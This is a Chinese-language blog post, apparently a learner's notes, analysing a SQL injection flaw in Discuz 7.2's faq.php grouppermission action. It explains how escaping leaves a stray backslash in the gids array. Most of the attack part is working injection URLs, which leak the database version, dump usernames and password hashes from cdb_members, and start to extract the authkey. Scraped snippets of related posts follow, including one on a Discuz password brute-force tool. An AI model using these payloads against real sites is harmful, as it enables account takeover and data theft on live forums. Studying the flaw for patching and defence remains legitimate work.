分析dz 7 2 漏洞

2021-06-22 17:46:36 字數 2821 閱讀 9936

作為小白,自學時一件比較頭痛的事,最主要是看到乙個漏洞你要去分析,和要有對應環境去嘗試。。。我這裡就完全搭建一次環境,並且最後會提到去發現漏洞**的方法。

dz7.2                    

ucenter(乙個管理平台)    

**分析就是到php.faq裡面,就是壓縮包解壓了upload這個資料夾下

} elseif($action == 'grouppermission')

$query = $db->query("select * from usergroups u left join admingroups a on u.groupid=a.admingid where u.groupid in (".implodeids

這個函式在global.func.php 終於找到了

function implodeids($array) else

}implode//就是將元素組合成乙個字串

is_array($array)//檢測是否是陣列,其實就是保證一定是陣列

然後了。。。假如groupids 1234   =>>'1','2','3','4' 那麼我輸入groupids 12\) =>> '1','2','\',')' 這不就是注入啦

但是groupids \怎麼能有這個符號了,那麼就是row[0]=\取值,那麼看下轉義方法

discuz在全域性會對get陣列進行addslashes轉義,也就是說會將'轉義成\',所以,如果我們的傳入的引數是:gids[1]='的話,會被轉義成$gids[1]=\',而這個賦值語句$groupids = $row

[0]就相當於取了字串的第乙個字元,也就是\,把轉義符號取出來了。

我嘗試\輸入,一樣也可以利用,不知道是為什麼,==我慢慢學習吧。

下面sql注入語句,至於exp,暫時不會寫,=我學吧。

1.faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema 

.tables group by x)a)%23

返回sql: select * from [table]usergroups u left join [table]admingroups a on u.groupid=a.admingid where u.groupid in ('7','\',') and (select 1 from (select count

(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#')

error: duplicate entry '5.0.22-log1' for key 1

errno.: 1062

語法知識補充

select 1 from mytable;與select anycol(目的表集合中的任意一行) from mytable;與select * from mytable 作用上來說是沒有差別的,都是檢視是否有記錄,一般是作條件用的。

select 1 from 中的1是一常量,查到的所有行的值都是它,但從效率上來說,1>anycol>*,因為不用查字典表。

select count(*) from 表名   這個是查詢表的所有記錄數

floor() 函式向下捨入為最接近的整數。

select count(*),concat(version(),floor(rand(0)*2)//這句話我不明白

2.密碼獲取,有2種語句,自己看吧,基本上知識點都到了

2.獲取賬號密

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(0x23 (select concat(username,0x27,password) from cdb_members 

limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by a)b--)%23

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) union select 1 from (select count(*),concat(0x23,(select concat(username,0x23,password) from cdb_members limit 

1),0x23,floor(rand(0)*2))a from information_schema.tables group by a)b-- a

3.獲取key

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from 

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,64) from 

我還沒明白他那個php語句**有漏洞,以後再分析吧,給出別人的分析位址

哦,再說一下我是怎麼發現漏洞**,就用搜尋引擎

DZ自動爆破工具原理分析

001 原理分析最近爆出關於利用社工庫爆破discuz論壇使用者名稱密碼的工具,造成很多大的論壇使用者資訊洩露,分析原理如下。這裡discuz判斷訪問ip主要用了下面這段邏輯,如果存在http head裡存在clientip則判斷為clientip,如果存在xff頭,則判斷為xff,如果二者都沒有,...

Discuz 7 2 SQL注入漏洞詳情

在 高階php應用程式漏洞審核技術 1 一文裡的 魔術引號帶來的新的安全 問題 一節裡,有 提到通過提取魔術引號產生的 字元帶來的安全 問題,同樣這個問題在這裡又一次完美體 現,如下面的 片段 foo.php?xigr ryat function daddslashes string,force 0...

XSS漏洞分析

網頁 客戶端 傳送請求時隱藏可自動執行的指令碼,從而使指令碼跨站執行 cross site scripeting 達到攻擊目的。由於縮寫和css衝突,故使用xss。伺服器介面 http ip port test?name aaa hobby bbb伺服器大致處理過程 string param1 re...